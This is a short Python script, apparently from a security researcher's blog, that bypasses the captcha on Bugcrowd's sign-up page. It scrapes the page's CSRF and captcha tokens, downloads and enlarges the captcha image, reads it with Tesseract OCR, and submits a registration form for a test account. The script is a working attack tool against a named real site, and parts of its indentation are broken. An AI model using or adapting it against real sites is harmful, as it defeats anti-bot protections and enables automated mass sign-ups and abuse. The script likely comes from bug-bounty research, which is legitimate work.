Script to beat CAPTCHA with Python 3

py-captcha.py

# A script to bypass the Bugcrowd sign-up page captcha
 # Created by @pwndizzle - http://pwndizzle.blogspot.com

 from PIL import Image
 from urllib.error import *
 from urllib.request import *
 from urllib.parse import *
 import re
 import subprocess

 def getpage():
     try:
         print("[+] Downloading Page");
         site = urlopen("https://portal.bugcrowd.com/user/sign_up")
         site_html = site.read().decode("utf-8")
         global csrf
         #Parse page for CSRF token (string 43 characters long ending with =)
         csrf = re.findall('[a-zA-Z0-9+/]{43}=', site_html)
         print ("-----CSRF Token: " + csrf[0])
         global ctoken
         #Parse page for captcha token (string 40 characters long)
         ctoken = re.findall('[a-z0-9]{40}', site_html)
         print ("-----Captcha Token: " + ctoken[0])
     except URLError as e:
         print ("*****Error: Cannot retrieve URL*****");

 def getcaptcha():
     try:
         print("[+] Downloading Captcha");
         captchaurl = "https://portal.bugcrowd.com/simple_captcha?code="+ctoken[0]
         urlretrieve(captchaurl,'captcha1.png')
     except URLError as e:
         print ("*****Error: Cannot retrieve URL*****");

 def resizer():
 print("[+] Resizing...");
 im1 = Image.open("captcha1.png")
 width, height = im1.size
 im2 = im1.resize((int(width*5), int(height*5)), Image.BICUBIC)
 im2.save("captcha2.png")

 def tesseract():
     try:
         print("[+] Running Tesseract...");
         #Run Tesseract, -psm 8, tells Tesseract we are looking for a single word
         subprocess.call(['C:\\Program Files (x86)\\Tesseract-OCR\\tesseract.exe', 'C:\\Python33\\captcha2.png', 'output', '-psm', '8'])
         f = open ("C:\Python33\output.txt","r")
         global cvalue
 #Remove whitespace and newlines from Tesseract output
         cvaluelines = f.read().replace(" ", "").split('\n')
         cvalue = cvaluelines[0]
         print("-----Captcha: " + cvalue);
     except Exception as e:
         print ("Error: " + str(e))

 def send():
     try:
         print("[+] Sending request...");
         user = "testuser99"
         params = {'utf8':'%E2%9C%93', 'authenticity_token': csrf[0], 'user[username]':user, 'user[email]':user+'@test.com', 'user[password]':'password123', 'user[password_confirmation]':'password123', 'captcha':cvalue,'captcha_key':ctoken[0],'agree_terms_conditions':'true'}
         data = urlencode(params).encode('utf-8')
         request = Request("https://portal.bugcrowd.com/user")
         #Send request and analyse response
         f = urlopen(request, data)
         response = f.read().decode('utf-8')
 #Check for error message
         fail = re.search('The following errors occurred', response)
         if fail:
             print("-----Account creation failed!")
         else:
             print ("-----Account created!")
     except Exception as e:
         print ("Error: " + str(e))

 print("[+] Start!");
 #Download page and parse data
 getpage();
 #Download captcha image
 getcaptcha();
 #Resize captcha image
 resizer();
 #Need more filtering? Add subroutines here!
 #Use Tesseract to analyse captcha image
 tesseract();
 #Send request to site containing form data and captcha
 send();
 print("[+] Finished!");